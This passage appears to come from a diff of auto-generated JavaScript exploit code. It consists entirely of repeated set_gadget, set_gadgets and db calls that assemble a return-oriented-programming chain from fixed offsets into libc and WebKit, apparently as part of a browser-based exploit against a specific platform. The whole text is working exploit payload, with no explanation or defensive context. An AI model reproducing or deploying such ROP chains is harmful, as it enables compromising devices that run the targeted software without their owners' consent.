+libc_base+713278, +ropchain+544552, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+544640, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+544696, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([264, 0]); +set_gadget(libc_base+772328,); +db([264, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+544848, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+544904, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+544976, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+545032, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([3345364736, 642517120]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+545184, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+545272, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+545288, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+545432, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+545400, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+545416, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+545504, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+545560, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([272, 0]); +set_gadget(libc_base+772328,); +db([272, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+545712, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+545768, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+545840, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+545896, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([3322211072, 142307456]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+546048, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+546136, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+546152, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+546296, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+546264, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+546280, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+546368, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+546424, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([280, 0]); +set_gadget(libc_base+772328,); +db([280, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+546576, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+546632, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+546704, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+546760, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([2160572416, 555889]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+546912, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+547000, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+547016, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+547160, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+547128, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+547144, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+547232, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+547288, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([288, 0]); +set_gadget(libc_base+772328,); +db([288, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+547440, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+547496, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+547568, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+547624, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([0, 1887487816]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+547776, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+547864, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+547880, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+548024, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+547992, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+548008, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+548096, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+548152, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([296, 0]); +set_gadget(libc_base+772328,); +db([296, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+548304, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+548360, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+548432, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+548488, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([33624664, 1207959552]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+548640, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+548728, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+548744, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+548888, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+548856, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+548872, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+548960, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+549016, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([304, 0]); +set_gadget(libc_base+772328,); +db([304, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+549168, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+549224, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+549296, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+549352, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([2339145869, 2303197202]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+549504, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+549592, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+549608, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+549752, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+549720, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+549736, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+549824, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+549880, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([312, 0]); +set_gadget(libc_base+772328,); +db([312, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+550032, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+550088, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+550160, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+550216, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([307787912, 12142593]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+550368, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+550456, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+550472, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+550616, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+550584, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+550600, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+550688, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+550744, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([320, 0]); +set_gadget(libc_base+772328,); +db([320, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+550896, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+550952, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+551024, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+551080, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([16777216, 1207959552]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+551232, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+551320, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+551336, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+551480, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+551448, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+551464, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+551552, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+551608, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([328, 0]); +set_gadget(libc_base+772328,); +db([328, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+551760, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+551816, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+551888, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+551944, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([1486391433, 537854226]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+552096, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+552184, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+552200, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+552344, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+552312, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+552328, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+552416, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+552472, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([336, 0]); +set_gadget(libc_base+772328,); +db([336, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+552624, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+552680, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+552752, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+552808, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([870592, 251658496]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+552960, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+553048, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+553064, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+553208, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+553176, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+553192, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+553280, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+553336, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([344, 0]); +set_gadget(libc_base+772328,); +db([344, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+553488, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+553544, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+553616, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+553672, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([1241235490, 265846923]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+553824, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+553912, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+553928, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+554072, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+554040, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+554056, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+554144, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+554200, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([352, 0]); +set_gadget(libc_base+772328,); +db([352, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+554352, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+554408, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+554480, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+554536, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([3774808064, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+554688, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+554776, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+554792, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+554936, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+554904, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+554920, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); 